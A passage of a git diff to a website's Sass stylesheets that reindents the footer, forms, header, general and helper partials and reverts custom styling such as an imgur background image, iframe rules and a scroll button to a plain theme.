-//     color: $color-primary;
-//   }
-// }
-// 
-// .docs-submenu {
-//   border-left: 1px solid $gray-300;
-//   color: $gray-600;
-//   display: none;
-//   font-size: 0.9375em;
-//   font-weight: normal;
-//   list-style: none;
-//   margin-top: 0.625rem;
-//   padding-left: 1.25rem;
-// }
-// 
-// .docs-menu-item {
-//   color: inherit;
-//   margin-bottom: 0.625rem;
-// 
-//   &.has-children {
-//     padding-right: 30px;
-//     position: relative;
-//   
-//     &.active {
-//       .docs-submenu {
-//         display: block;
-//       }
-//   
-//       & > .docs-submenu-toggle {
-//         .icon-angle-right {
-//           -webkit-transform: rotate(135deg);
-//           transform: rotate(135deg);
-//         }
-//       }
-//     }
-//   }
-// }
-// 
-// #page-nav {
-//   display: none;
-// 
-//   .page-nav-title {
-//     font-size: 1em;
-//     margin: 0 0 0.625em;
-//   }
-// 
-//   ul {
-//     font-size: 0.875rem;
-//     line-height: 1.5;
-//     list-style: none;
-//     padding: 0;
-// 
-//     ul {
-//       border-left: 1px solid $gray-300;
-//       margin-top: 0.625rem;
-//       padding-left: 1.25rem;
-//     }
-//   }
-// 
-//   li {
-//     margin-bottom: 0.625rem;
-// 
-//     &.active > a {
-//       color: $color-primary;
-//     }
-//   }
-// 
-//   a {
-//     color: $gray-600;
-//     display: block;
-//     text-decoration: none;
-// 
-//     &:hover {
-//       color: $color-primary;
-//     }
-//   }
-// 
-//   .page-nav-inside {
-//     display: none;
-//   
-//     &.has-links {
-//       display: block;
-//     }
-//   }
-// }
-// 
-// @media only screen and (min-width: 641px) {
-//   .post {
-//     &.type-docs {
-//       .post-title,
-//       .post-content {
-//         padding-left: 7%;
-//         padding-right: 7%;
-//       }
-//     }
-//   }
-// }
-// 
-// @media only screen and (min-width: 801px) {
-//   .docs-content {
-//     display: -ms-flexbox;
-//     display: flex;
-//     padding-top: 3.75em;
-//   }
-// 
-//   .post.type-docs {
-//     -ms-flex: 1 1 auto;
-//     flex: 1 1 auto;
-//     overflow: hidden;
-//   }
-// 
-//   .docs-nav,
-//   .page-nav {
-//     -ms-flex-negative: 0;
-//     flex-shrink: 0;
-//     margin-bottom: 5.625em;
-// 
-//     .sticky {
-//       position: -webkit-sticky;
-//       position: sticky;
-//       top: 1.875em;
-//     }
-//   }
-// 
-//   .docs-nav {
-//     padding-right: 1.5em;
-//     width: 12.5em;
-//   }
-// 
-//   #page-nav {
-//     padding-left: 1.5em;
-//     width: 9.5em;
-//   }
-// 
-//   #docs-nav-toggle {
-//     display: none;
-//   }
-// }
-// 
-// @media only screen and (min-width: 1091px) {
-//   #page-nav {
-//     display: block;
-//   }
-// }
-// 
-// @media only screen and (max-width: 800px) {
-//   .docs-nav {
-//     background: #fff;
-//     border: 1px solid $gray-300;
-//     border-radius: $border-radius;
-//     box-shadow: $box-shadow;
-//     box-sizing: border-box;
-//     margin-bottom: 5%;
-//     padding: 0.75em 1em;
-//   }
-// 
-//   .docs-nav-menu {
-//     display: none;
-//   }
-// 
-//   .docs-menu--opened {
-//     .docs-nav-menu {
-//       display: block;
-//     }
-// 
-//     .docs-nav-toggle {
-//       .icon-angle-right {
-//         -webkit-transform: rotate(135deg);
-//         transform: rotate(135deg);
-//       }
-//     }
-//   }
-// 
-//   #docs-menu {
-//     border-top: 1px solid $gray-300;
-//     margin-top: 1.25em;
-//     padding-top: 1.25em;
-//   }
-// }
-// 
diff --git a/src/sass/imports/_footer.scss b/src/sass/imports/_footer.scss
index d9fcdc8403..b8b176f135 100644
--- a/src/sass/imports/_footer.scss
+++ b/src/sass/imports/_footer.scss
@@ -1,10 +1,7 @@
 .site-footer {
-    background-color: black;
-    background-image: url('https://i.imgur.com/CEYEZp8.jpeg');
-    padding-bottom: 5em;
-    padding-top: 5em;
-    color: white !important;
-    border: 4px solid black;
+    background-color: #fff;
+    padding-bottom: 1.5em;
+    padding-top: 1.5em;
 }
 
 #colophon {
@@ -28,7 +25,7 @@
     flex-wrap: wrap;
     -ms-flex-pack: center;
     justify-content: center;
-    font-size: 0.675em;
+    font-size: 0.875em;
     line-height: 1.2;
 
     .button:not(.button-icon) {
@@ -43,22 +40,20 @@
     text-align: center;
 
     .copyright,
-    >a {
-        margin: 0 4px 0.2em 0;
+    > a {
+        margin: 0 8px 0.5em 0;
     }
 }
 
 .social-links {
-    margin-top: 0.5375em;
+    margin-top: 0.9375em;
 
     a {
-        margin: 0 50px 0.2em;
+        margin: 0 10px 0.5em;
     }
 
     .icon {
         font-size: 20px;
-        color: rgb(0, 0, 0);
-        background-color: rgb(0, 0, 0);
     }
 }
 
@@ -91,4 +86,4 @@
             margin-right: 0;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/src/sass/imports/_forms.scss b/src/sass/imports/_forms.scss
index d03cf35dae..689f68c032 100644
--- a/src/sass/imports/_forms.scss
+++ b/src/sass/imports/_forms.scss
@@ -1,16 +1,16 @@
 label {
-  color: $gray-700;
-  font-weight: bold;
-  line-height: 1.5;
-  margin-bottom: 0.25em;
+    color: $gray-700;
+    font-weight: bold;
+    line-height: 1.5;
+    margin-bottom: 0.25em;
 
-  input[type='checkbox']+&,
-  input[type='radio']+& {
-    font-weight: normal;
-    cursor: pointer;
-    padding-left: 0.25em;
-    padding-right: 1em;
-  }
+    input[type='checkbox'] + &,
+    input[type='radio'] + & {
+        font-weight: normal;
+        cursor: pointer;
+        padding-left: 0.25em;
+        padding-right: 1em;
+    }
 }
 
 input[type='text'],
@@ -22,34 +22,34 @@ input[type='search'],
 input[type='url'],
 select,
 textarea {
-  background: #fff;
-  border: 1px solid $gray-300;
-  border-radius: $border-radius-sm;
-  box-shadow: none;
-  box-sizing: border-box;
-  color: $gray-700;
-  display: block;
-  font-size: 1em;
-  font-weight: normal;
-  line-height: 1.5;
-  max-width: 100%;
-  padding: 0.5em;
-  width: 100%;
+    background: #fff;
+    border: 1px solid $gray-300;
+    border-radius: $border-radius-sm;
+    box-shadow: none;
+    box-sizing: border-box;
+    color: $gray-700;
+    display: block;
+    font-size: 1em;
+    font-weight: normal;
+    line-height: 1.5;
+    max-width: 100%;
+    padding: 0.5em;
+    width: 100%;
 
-  &:focus {
-    outline: 0;
-  }
+    &:focus {
+        outline: 0;
+    }
 }
 
 ::placeholder {
-  color: $gray-400;
-  opacity: 1;
+    color: $gray-400;
+    opacity: 1;
 }
 
 .form-row {
-  margin-bottom: 1em;
+    margin-bottom: 1em;
 }
 
 .form-submit {
-  margin-top: 1.66667em;
+    margin-top: 1.66667em;
 }
diff --git a/src/sass/imports/_functions.scss b/src/sass/imports/_functions.scss
index 717a5a6a54..a0e86db462 100644
--- a/src/sass/imports/_functions.scss
+++ b/src/sass/imports/_functions.scss
@@ -1,8 +1,7 @@
 // Gets a value from a map.
 @function map-deep-get($map, $keys...) {
-  @each $key in $keys {
-    $map: map-get($map, $key);
-  }
-
-  @return $map;
+    @each $key in $keys {
+        $map: map-get($map, $key);
+    }
+    @return $map;
 }
diff --git a/src/sass/imports/_general.scss b/src/sass/imports/_general.scss
index 03b858ea04..558cf693ea 100644
--- a/src/sass/imports/_general.scss
+++ b/src/sass/imports/_general.scss
@@ -1,7 +1,6 @@
 html {
     font-family: $font-primary;
     font-size: 100%;
-    scroll-behavior: smooth;
 }
 
 body {
@@ -13,69 +12,6 @@ body {
     -webkit-font-smoothing: antialiased;
 }
 
-iframe {
-    overflow-y: scroll !important;
-    overflow-x: scroll !important;
-    border-radius: 26px;
-    border: 3px solid gold;
-    height: 1100px;
-    width: 100%;
-    margin: auto;
-    text-align: center;
-    align-self: center;
-    overflow: scroll !important;
-    resize: both !important;
-}
-
-#scrollBtn {
-    position: fixed;
-    top: 30px;
-    right: 10px;
-    width: 80px;
-    color: white;
-    font-weight: bold;
-    background-color: rgba(0, 0, 0, 0.856);
-    border-radius: 15px;
-}
-
-
-mark,
-ins {
-    background: $yellow-pale;
-    color: $gray-700;
-    padding: 0.15em;
-    text-decoration: none;
-}
-
-pre {
-    background: $gray-700;
-    border-radius: $border-radius-sm;
-    color: $gray-100;
-    font-size: 0.875em;
-    line-height: 1.5;
-    margin: 2.14286em 0;
-    overflow: auto;
-    padding: 1.5em;
-    text-align: left;
-    white-space: pre;
-    word-spacing: normal;
-    word-break: normal;
-    word-wrap: normal;
-
-    &:first-child {
-        margin-top: 0;
-    }
-}
-
-:not(pre)>code {
-    background: $gray-200;
-    border-radius: $border-radius-sm;
-    color: $gray-600;
-    font-size: 0.875rem;
-    padding: 0.15em;
-    white-space: normal;
-}
-
 a {
     color: $color-primary;
     text-decoration: underline;
@@ -134,6 +70,43 @@ p {
     margin: 0 0 1em;
 }
 
+mark,
+ins {
+    background: $yellow-pale;
+    color: $gray-700;
+    padding: 0.15em;
+    text-decoration: none;
+}
+
+pre {
+    background: $gray-700;
+    border-radius: $border-radius-sm;
+    color: $gray-100;
+    font-size: 0.875em;
+    line-height: 1.5;
+    margin: 2.14286em 0;
+    overflow: auto;
+    padding: 1.5em;
+    text-align: left;
+    white-space: pre;
+    word-spacing: normal;
+    word-break: normal;
+    word-wrap: normal;
+
+    &:first-child {
+        margin-top: 0;
+    }
+}
+
+:not(pre) > code {
+    background: $gray-200;
+    border-radius: $border-radius-sm;
+    color: $gray-600;
+    font-size: 0.875rem;
+    padding: 0.15em;
+    white-space: normal;
+}
+
 blockquote {
     border-left: 5px solid $color-primary;
     font-size: 1.25em;
@@ -185,8 +158,8 @@ ol {
     padding: 0 0 0 1.5em;
 }
 
-li>ul,
-li>ol {
+li > ul,
+li > ol {
     margin-bottom: 0;
 }
 
@@ -201,208 +174,11 @@ hr {
     }
 }
 
-div.wrapper:hover img:not(:hover) {
-    filter: brightness(50%);
-}
-
-img {
-    height: auto;
+embed,
+iframe,
+object,
+video {
     max-width: 100%;
-    scroll-snap-align: center;
-}
-
-img:hover {
-    filter: brightness(110%);
-}
-
-figure {
-    overflow: auto;
-    scroll-snap-type: inline mandatory;
-}
-
-@media only screen and (min-width: 641px) {
-    blockquote {
-        font-size: 1.5em;
-        line-height: 1.3;
-    }
-
-    h1 {
-        font-size: 2.5em;
-    }
-
-    h2 {
-        font-size: 2.125em;
-    }
-
-    h3 {
-        font-size: 1.875em;
-    }
-
-    h4 {
-        font-size: 1.5em;
-    }
-
-    h5 {
-        font-size: 1.25em;
-    }
-
-    h6 {
-        font-size: 1.125em;
-    }
-}
-
-h1,
-h2,
-h3,
-h4,
-h5,
-h6 {
-    color: #283040;
-    font-weight: 700;
-    line-height: 1.2;
-    margin: 1.5em 0 0.5em;
-    text-rendering: optimizeLegibility;
-}
-
-h1:first-child,
-h2:first-child,
-h3:first-child,
-h4:first-child,
-h5:first-child,
-h6:first-child {
-    margin-top: 0;
-}
-
-h1 {
-    font-size: 2em;
-}
-
-h2 {
-    font-size: 1.75em;
-}
-
-h3 {
-    font-size: 1.5em;
-}
-
-h4 {
-    font-size: 1.25em;
-}
-
-h5 {
-    font-size: 1.125em;
-}
-
-h6 {
-    font-size: 1em;
-}
-
-p {
-    margin: 0 0 1em;
-}
-
-ins,
-mark {
-    background: #fff7e6;
-    color: #283040;
-    padding: 0.15em;
-    text-decoration: none;
-}
-
-pre {
-    background: #283040;
-    border-radius: 3px;
-    color: #f8f8fa;
-    font-size: 0.875em;
-    line-height: 1.5;
-    margin: 2.14286em 0;
-    overflow: auto;
-    padding: 1.5em;
-    text-align: left;
-    white-space: pre;
-    word-spacing: normal;
-    word-break: normal;
-    word-wrap: normal;
-}
-
-pre:first-child {
-    margin-top: 0;
-}
-
-:not(pre)>code {
-    background: #ecedf2;
-    border-radius: 3px;
-    color: #424b5f;
-    font-size: 0.875rem;
-    padding: 0.15em;
-    white-space: normal;
-}
-
-blockquote {
-    border-left: 5px solid #00c6ff;
-    font-size: 1.25em;
-    line-height: 1.4;
-    margin: 1.25em 0;
-    padding: 0 0 0 1em;
-}
-
-blockquote:first-child {
-    margin-top: 0;
-}
-
-blockquote p {
-    margin-bottom: 0.5em;
-}
-
-blockquote cite,
-blockquote small {
-    color: #67758d;
-    display: block;
-    font-size: 0.75em;
-    font-style: normal;
-    font-weight: 400;
-    line-height: 1.5;
-    margin-top: 0.5em;
-}
-
-dl {
-    margin: 0;
-}
-
-dt {
-    font-weight: 700;
-}
-
-dd,
-ol,
-ul {
-    margin: 0 0 1em;
-}
-
-ul {
-    list-style: disc;
-    padding: 0 0 0 1.125em;
-}
-
-ol {
-    list-style: decimal;
-    padding: 0 0 0 1.5em;
-}
-
-li>ol,
-li>ul {
-    margin-bottom: 0;
-}
-
-hr {
-    background-color: #dde0e7;
-    border: 0;
-    height: 1px;
-    margin: 1.875em 0;
-}
-
-hr:first-child {
-    margin-top: 0;
 }
 
 img {
@@ -440,36 +216,3 @@ img {
         font-size: 1.125em;
     }
 }
-
-table {
-    border-collapse: collapse;
-    border-spacing: 0;
-    line-height: 1.5;
-    margin: 0;
-    max-width: 100%;
-    width: 100%;
-}
-
-caption,
-table {
-    text-align: left;
-}
-
-caption {
-    color: #67758d;
-    font-size: 0.875em;
-    font-style: normal;
-    margin-bottom: 1em;
-}
-
-td,
-th {
-    border-bottom: 1px solid #dde0e7;
-    padding: 0.5em 5px;
-}
-
-th {
-    color: #283040;
-
-    font-weight: 700;
-}
\ No newline at end of file
diff --git a/src/sass/imports/_header.scss b/src/sass/imports/_header.scss
index e772301a79..5c91cb2d66 100644
--- a/src/sass/imports/_header.scss
+++ b/src/sass/imports/_header.scss
@@ -1,371 +1,369 @@
 .site-header {
-  background: black;
-  background-image: url('https://i.imgur.com/CEYEZp8.jpeg');
-  padding-bottom: 0.4em;
-  padding-top: 0.2em;
+    background: #fff;
+    padding-bottom: 1.25em;
+    padding-top: 1.125em;
 }
 
 .site-header-inside {
-  -ms-flex-align: center;
-  align-items: center;
-  display: -ms-flexbox;
-  display: flex;
+    -ms-flex-align: center;
+    align-items: center;
+    display: -ms-flexbox;
+    display: flex;
 }
 
 .site-branding {
-  -ms-flex: 0 1 auto;
-  flex: 0 1 auto;
+    -ms-flex: 0 1 auto;
+    flex: 0 1 auto;
 }
 
 .site-title {
-  color: $gray-700;
-  font-size: 1.5em;
-  font-weight: bold;
-  line-height: 1.2;
-  margin: 0;
+    color: $gray-700;
+    font-size: 1.5em;
+    font-weight: bold;
+    line-height: 1.2;
+    margin: 0;
 }
 
 .site-logo {
-  margin: 0;
+    margin: 0;
 
-  img {
-    max-height: 65px;
-  }
+    img {
+        max-height: 36px;
+    }
 }
 
 .menu,
 .submenu {
-  list-style: none;
-  margin: 0;
-  padding: 0;
+    list-style: none;
+    margin: 0;
+    padding: 0;
 }
 
 .menu-item {
-  position: relative;
+    position: relative;
 
-  &.current {
-    color: $color-primary;
-  }
+    &.current {
+        color: $color-primary;
+    }
 
-  a {
-    &:not(.button) {
-      display: inline-block;
-      font-size: 1.1em;
-      line-height: 1.5;
+    a {
+        &:not(.button) {
+            display: inline-block;
+            font-size: 0.9375em;
+            line-height: 1.5;
+        }
     }
-  }
 }
 
 #masthead {
-  a {
-    &:not(.button) {
-      color: inherit;
-      display: inline-block;
-      text-decoration: none;
-
-      &:hover {
-        color: $color-primary;
-      }
-      }
-      }
-
-  .site-branding {
     a {
-      &:hover {
-        color: inherit;
-      }
+        &:not(.button) {
+            color: inherit;
+            display: inline-block;
+            text-decoration: none;
+
+            &:hover {
+                color: $color-primary;
+            }
+        }
+    }
+
+    .site-branding {
+        a {
+            &:hover {
+                color: inherit;
+            }
+        }
     }
-  }
 }
 
 @media only screen and (min-width: 801px) {
-  #menu-open,
-  #menu-close {
-    display: none;
-  }
-
-  .site-navigation {
-    margin-left: auto;
-  }
-
-  .menu {
-    -ms-flex-align: center;
-    align-items: center;
-    display: -ms-flexbox;
-    display: flex;
-  }
-
-  .menu-item {
-    display: inline-block;
-    margin: 0 0 0 1.25em;
-    padding-bottom: 0.1875em;
-    padding-top: 0.1875em;
+    #menu-open,
+    #menu-close {
+        display: none;
+    }
 
-    a {
-      padding-bottom: 0.5em;
-      padding-top: 0.5em;
-
-      &.button:not(.button-icon) {
-        padding-left: 1.25em;
-        padding-right: 1.25em;
-      }
-      }
-
-    &.has-children>a {
-      padding-right: 18px;
-      position: relative;
-
-      &:after {
-        background: 0;
-        border-color: currentColor;
-        border-style: solid;
-        border-width: 1px 1px 0 0;
-        box-sizing: border-box;
-        content: '';
-        height: 6px;
-        position: absolute;
-        right: 0;
-        top: 50%;
-        width: 6px;
-        -webkit-transform: translateY(-50%) rotate(135deg);
-        transform: translateY(-50%) rotate(135deg);
-      }
+    .site-navigation {
+        margin-left: auto;
+    }
 
-      &.button:not(.button-icon) {
-        padding-right: 2.25em;
+    .menu {
+        -ms-flex-align: center;
+        align-items: center;
+        display: -ms-flexbox;
+        display: flex;
+    }
 
-        &:after {
-          right: 1.25em;
+    .menu-item {
+        display: inline-block;
+        margin: 0 0 0 1.25em;
+        padding-bottom: 0.1875em;
+        padding-top: 0.1875em;
+
+        a {
+            padding-bottom: 0.5em;
+            padding-top: 0.5em;
+
+            &.button:not(.button-icon) {
+                padding-left: 1.25em;
+                padding-right: 1.25em;
+            }
         }
+
+        &.has-children > a {
+            padding-right: 15px;
+            position: relative;
+
+            &:after {
+                background: 0;
+                border-color: currentColor;
+                border-style: solid;
+                border-width: 1px 1px 0 0;
+                box-sizing: border-box;
+                content: '';
+                height: 6px;
+                position: absolute;
+                right: 0;
+                top: 50%;
+                width: 6px;
+                -webkit-transform: translateY(-50%) rotate(135deg);
+                transform: translateY(-50%) rotate(135deg);
+            }
+
+            &.button:not(.button-icon) {
+                padding-right: 2.25em;
+
+                &:after {
+                    right: 1.25em;
+                }
+            }
         }
+
+        .submenu-toggle {
+            display: none;
         }
 
-    .submenu-toggle {
-      display: none;
+        &.has-children:hover > .submenu {
+            opacity: 1;
+            -webkit-transition: margin 0.3s, opacity 0.2s;
+            transition: margin 0.3s, opacity 0.2s;
+            visibility: visible;
+        }
     }
 
-    &.has-children:hover>.submenu {
-      opacity: 1;
-      -webkit-transition: margin 0.3s, opacity 0.2s;
-      transition: margin 0.3s, opacity 0.2s;
-      visibility: visible;
-    }
-    }
+    .submenu {
+        background: #fff;
+        border: 1px solid $gray-300;
+        border-radius: $border-radius-sm;
+        box-shadow: $box-shadow;
+        left: 0;
+        min-width: 180px;
+        opacity: 0;
+        padding: 0.5em 0;
+        position: absolute;
+        text-align: left;
+        top: 100%;
+        -webkit-transition: opacity 0.2s, visibility 0s 0.2s;
+        transition: opacity 0.2s, visibility 0s 0.2s;
+        visibility: hidden;
+        width: 100%;
+        z-index: 99;
+
+        .menu-item {
+            display: block;
+            margin: 0;
+            padding: 0 1em;
+        }
 
-  .submenu {
-    background: #fff;
-    border: 4px solid $gray-300;
-    border-radius: $border-radius-sm;
-    box-shadow: $box-shadow;
-    left: 0;
-    min-width: 180px;
-    opacity: 0;
-    padding: 0.5em 0;
-    position: absolute;
-    text-align: left;
-    top: 100%;
-    -webkit-transition: opacity 0.2s, visibility 0s 0.2s;
-    transition: opacity 0.2s, visibility 0s 0.2s;
-    visibility: hidden;
-    width: 100%;
-    z-index: 99;
+        a {
+            &:not(.button-icon) {
+                display: block;
+            }
 
-    .menu-item {
-      display: block;
-      margin: 0;
-      padding: 0 1em;
+            &.button:not(.button-icon) {
+                margin: 0.5em 0;
+            }
+        }
     }
-
-    a {
-      &:not(.button-icon) {
-        display: block;
-      }
-
-      &.button:not(.button-icon) {
-        margin: 0.5em 0;
-      }
-      }
-      }
 }
 
 @media only screen and (max-width: 800px) {
-  .site {
-    overflow: hidden;
-    position: relative;
-  }
-
-  .site-branding {
-    margin-right: 0.625em;
-  }
-
-  .site-header {
-    &:after {
-      background: rgba($gray-600, 0.6);
-      content: '';
-      height: 100vh;
-      left: 0;
-      opacity: 0;
-      position: absolute;
-      top: 0;
-      -webkit-transition: opacity 0.15s ease-in-out, visibility 0s ease-in-out 0.15s;
-      transition: opacity 0.15s ease-in-out, visibility 0s ease-in-out 0.15s;
-      visibility: hidden;
-      width: 100%;
-      z-index: 998;
+    .site {
+        overflow: hidden;
+        position: relative;
     }
-  }
 
-  .site-navigation {
-    background: #fff;
-    box-sizing: border-box;
-    height: 100vh;
-    margin: 0;
-    max-width: 360px;
-    -webkit-overflow-scrolling: touch;
-    position: absolute;
-    right: -100%;
-    top: 0;
-    -webkit-transition: right 0.3s ease-in-out, visibility 0s 0.3s ease-in-out;
-    transition: right 0.3s ease-in-out, visibility 0s 0.3s ease-in-out;
-    visibility: hidden;
-    width: 100%;
-    z-index: 999;
-  }
-
-  .site-nav-inside {
-    height: 100%;
-    overflow: auto;
-    -webkit-overflow-scrolling: touch;
-    position: relative;
-  }
+    .site-branding {
+        margin-right: 0.625em;
+    }
 
-  .menu--opened {
-    .site {
-      height: 100%;
-      left: 0;
-      overflow: hidden;
-      position: fixed;
-      top: 0;
-      -webkit-transform: translate3d(0, 0, 0);
-      transform: translate3d(0, 0, 0);
-      width: 100%;
-      z-index: 997;
+    .site-header {
+        &:after {
+            background: rgba($gray-600, 0.6);
+            content: '';
+            height: 100vh;
+            left: 0;
+            opacity: 0;
+            position: absolute;
+            top: 0;
+            -webkit-transition: opacity 0.15s ease-in-out, visibility 0s ease-in-out 0.15s;
+            transition: opacity 0.15s ease-in-out, visibility 0s ease-in-out 0.15s;
+            visibility: hidden;
+            width: 100%;
+            z-index: 998;
+        }
     }
 
     .site-navigation {
-      right: 0;
-      -webkit-transition: right 0.3s ease-in-out;
-      transition: right 0.3s ease-in-out;
-      visibility: visible;
+        background: #fff;
+        box-sizing: border-box;
+        height: 100vh;
+        margin: 0;
+        max-width: 360px;
+        -webkit-overflow-scrolling: touch;
+        position: absolute;
+        right: -100%;
+        top: 0;
+        -webkit-transition: right 0.3s ease-in-out, visibility 0s 0.3s ease-in-out;
+        transition: right 0.3s ease-in-out, visibility 0s 0.3s ease-in-out;
+        visibility: hidden;
+        width: 100%;
+        z-index: 999;
     }
 
-    .site-header {
-      &:after {
-        opacity: 1;
-        -webkit-transition-delay: 0s;
-        transition-delay: 0s;
-        visibility: visible;
-      }
-    }
+    .site-nav-inside {
+        height: 100%;
+        overflow: auto;
+        -webkit-overflow-scrolling: touch;
+        position: relative;
     }
 
-  .menu {
-    padding: calc(3vw + 2.8125em) $container-padding 3em;
-  }
+    .menu--opened {
+        .site {
+            height: 100%;
+            left: 0;
+            overflow: hidden;
+            position: fixed;
+            top: 0;
+            -webkit-transform: translate3d(0, 0, 0);
+            transform: translate3d(0, 0, 0);
+            width: 100%;
+            z-index: 997;
+        }
 
-  .submenu {
-    border-top: 1px solid $gray-300;
-    display: none;
-    padding-left: 1em;
-  }
+        .site-navigation {
+            right: 0;
+            -webkit-transition: right 0.3s ease-in-out;
+            transition: right 0.3s ease-in-out;
+            visibility: visible;
+        }
 
-  .menu-item {
-    display: block;
-    margin: 0;
+        .site-header {
+            &:after {
+                opacity: 1;
+                -webkit-transition-delay: 0s;
+                transition-delay: 0s;
+                visibility: visible;
+            }
+        }
+    }
 
-    &:not(.menu-button) {
-      border-bottom: 1px solid $gray-300;
+    .menu {
+        padding: calc(3vw + 2.8125em) $container-padding 3em;
+    }
 
-      &:first-child {
+    .submenu {
         border-top: 1px solid $gray-300;
-      }
-      }
+        display: none;
+        padding-left: 1em;
+    }
 
-    a {
+    .menu-item {
+        display: block;
+        margin: 0;
 
-      &:not(.button),
-      &.button-icon {
-        padding: 0.75em 0;
-      }
+        &:not(.menu-button) {
+            border-bottom: 1px solid $gray-300;
 
-      &:not(.button) {
-        display: block;
-      }
+            &:first-child {
+                border-top: 1px solid $gray-300;
+            }
+        }
 
-      &.button {
-        &:not(.button-icon) {
-          width: 100%;
+        a {
+            &:not(.button),
+            &.button-icon {
+                padding: 0.75em 0;
+            }
+
+            &:not(.button) {
+                display: block;
+            }
+
+            &.button {
+                &:not(.button-icon) {
+                    width: 100%;
+                }
+            }
         }
-      }
-      }
 
-    &.has-children>a {
-      margin-right: 2em;
-    }
+        &.has-children > a {
+            margin-right: 2em;
+        }
 
-    .menu-item {
-      &:first-child {
-        border-top: 0;
-      }
-
-      &:last-child {
-        border-bottom: 0;
-      }
-      }
-
-    .submenu-toggle {
-      color: $gray-500;
-      height: 2.8125em;
-      position: absolute;
-      right: 0;
-      top: 0;
-    }
+        .menu-item {
+            &:first-child {
+                border-top: 0;
+            }
 
-    &.active {
-      .submenu-toggle {
-        .icon-angle-right {
-          -webkit-transform: rotate(135deg);
-          transform: rotate(135deg);
+            &:last-child {
+                border-bottom: 0;
+            }
         }
-      }
 
-      .submenu {
-        display: block;
-      }
-      }
-      }
-
-  .menu-button {
-    &>.button:not(.button-icon) {
-      margin-bottom: 1.25em;
-      margin-top: 1.25em;
-    }
+        .submenu-toggle {
+            color: $gray-500;
+            height: 2.8125em;
+            position: absolute;
+            right: 0;
+            top: 0;
+        }
 
-    &+.menu-button {
-      &>.button:not(.button-icon) {
-        margin-top: 0;
-      }
+        &.active {
+            .submenu-toggle {
+                .icon-angle-right {
+                    -webkit-transform: rotate(135deg);
+                    transform: rotate(135deg);
+                }
+            }
+
+            .submenu {
+                display: block;
+            }
+        }
     }
+
+    .menu-button {
+        & > .button:not(.button-icon) {
+            margin-bottom: 1.25em;
+            margin-top: 1.25em;
+        }
+
+        & + .menu-button {
+            & > .button:not(.button-icon) {
+                margin-top: 0;
+            }
+        }
     }
 
-  #menu-open {
-    margin-left: auto;
-  }
+    #menu-open {
+        margin-left: auto;
+    }
 
-  #menu-close {
-    display: block;
-    position: absolute;
-    right: $container-padding;
-    top: $container-padding;
-  }
+    #menu-close {
+        display: block;
+        position: absolute;
+        right: $container-padding;
+        top: $container-padding;
+    }
 }
diff --git a/src/sass/imports/_helpers.scss b/src/sass/imports/_helpers.scss
index 7a0e03546f..2d07226953 100644
--- a/src/sass/imports/_helpers.scss
+++ b/src/sass/imports/_helpers.scss
@@ -1,189 +1,186 @@
 // Text for screen readers
 .screen-reader-text {
-  clip: rect(1px, 1px, 1px, 1px);
-  clip-path: polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px);
-  height: 1px;
-  overflow: hidden;
-  position: absolute !important;
-  width: 1px;
-  word-wrap: normal !important;
+    clip: rect(1px, 1px, 1px, 1px);
+    clip-path: polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px);
+    height: 1px;
+    overflow: hidden;
+    position: absolute !important;
+    width: 1px;
+    word-wrap: normal !important;
 }
 
 // Heading decorations
 .line-left {
-  position: relative;
+    position: relative;
 
-  &:after {
-    background: $color-primary;
-    display: block;
-    content: '';
-    height: 100%;
-    left: -1px;
-    position: absolute;
-    top: 0;
-    width: 5px;
-  }
+    &:after {
+        background: $color-primary;
+        display: block;
+        content: '';
+        height: 100%;
+        left: -1px;
+        position: absolute;
+        top: 0;
+        width: 5px;
+    }
 }
 
 // Responsive video wrappers
 .js-reframe {
-  margin: 1.875em 0;
+    margin: 1.875em 0;
 
-  &:first-child {
-    margin-top: 0;
-  }
+    &:first-child {
+        margin-top: 0;
+    }
 }
 
 // Notifications, allerts
 .note,
 .important {
-  border-radius: $border-radius;
-  color: $gray-700;
-  margin: 1.875em 0;
-  padding: 1em 1.125em;
+    border-radius: $border-radius;
+    color: $gray-700;
+    margin: 1.875em 0;
+    padding: 1em 1.125em;
 
-  &:first-child {
-    margin-top: 0;
-  }
+    &:first-child {
+        margin-top: 0;
+    }
 }
 
 .note {
-  background: $yellow-pale;
-  border-left: 5px solid $yellow;
+    background: $yellow-pale;
+    border-left: 5px solid $yellow;
 }
 
 .important {
-  background: $red-pale;
-  border-left: 5px solid $red;
+    background: $red-pale;
+    border-left: 5px solid $red;
 }
 
 // Background gradients
 .has-gradient {
-  background: $color-primary;
-  background: -webkit-gradient(linear, left top, right top, from($color-secondary), to($color-primary));
-  background: linear-gradient(to right, $color-secondary, $color-primary);
-  color: #fff;
-  position: relative;
-
-  h1,
-  h2,
-  h3,
-  h4,
-  h5,
-  h6 {
-    color: inherit !important;
-  }
-
-  a {
-    &:not(.button) {
-      color: inherit !important;
-
-      &:hover {
-        opacity: 0.8;
-      }
-      }
-      }
-
-  .button {
-    &:not(.button-secondary) {
-      background-color: #fff;
-      color: $color-primary;
-
-      &:hover,
-      &:focus,
-      &:active {
-        opacity: 0.85;
-      }
-      }
-      }
-
-  .button-secondary {
-    color: #fff !important;
-  }
-
-  .inner-sm {
+    background: $color-primary;
+    background: -webkit-gradient(linear, left top, right top, from($color-secondary), to($color-primary));
+    background: linear-gradient(to right, $color-secondary, $color-primary);
+    color: #fff;
     position: relative;
-  }
+
+    h1,
+    h2,
+    h3,
+    h4,
+    h5,
+    h6 {
+        color: inherit !important;
+    }
+
+    a {
+        &:not(.button) {
+            color: inherit !important;
+
+            &:hover {
+                opacity: 0.8;
+            }
+        }
+    }
+
+    .button {
+        &:not(.button-secondary) {
+            background-color: #fff;
+            color: $color-primary;
+
+            &:hover,
+            &:focus,
+            &:active {
+                opacity: 0.85;
+            }
+        }
+    }
+
+    .button-secondary {
+        color: #fff !important;
+    }
+
+    .inner-sm {
+        position: relative;
+    }
 }
 
 // Background image
 .bg-img {
-  -webkit-animation: fadeIn20 0.75s ease-in-out;
-  animation: fadeIn20 0.75s ease-in-out;
-  background-position: center;
-  background-size: cover;
-  bottom: 0;
-  left: 0;
-  opacity: 0.2;
-  position: absolute;
-  right: 0;
-  top: 0;
+    -webkit-animation: fadeIn20 0.75s ease-in-out;
+    animation: fadeIn20 0.75s ease-in-out;
+    background-position: center;
+    background-size: cover;
+    bottom: 0;
+    left: 0;
+    opacity: 0.2;
+    position: absolute;
+    right: 0;
+    top: 0;
 }
 
 // Grid
 .grid {
-  display: -ms-flexbox;
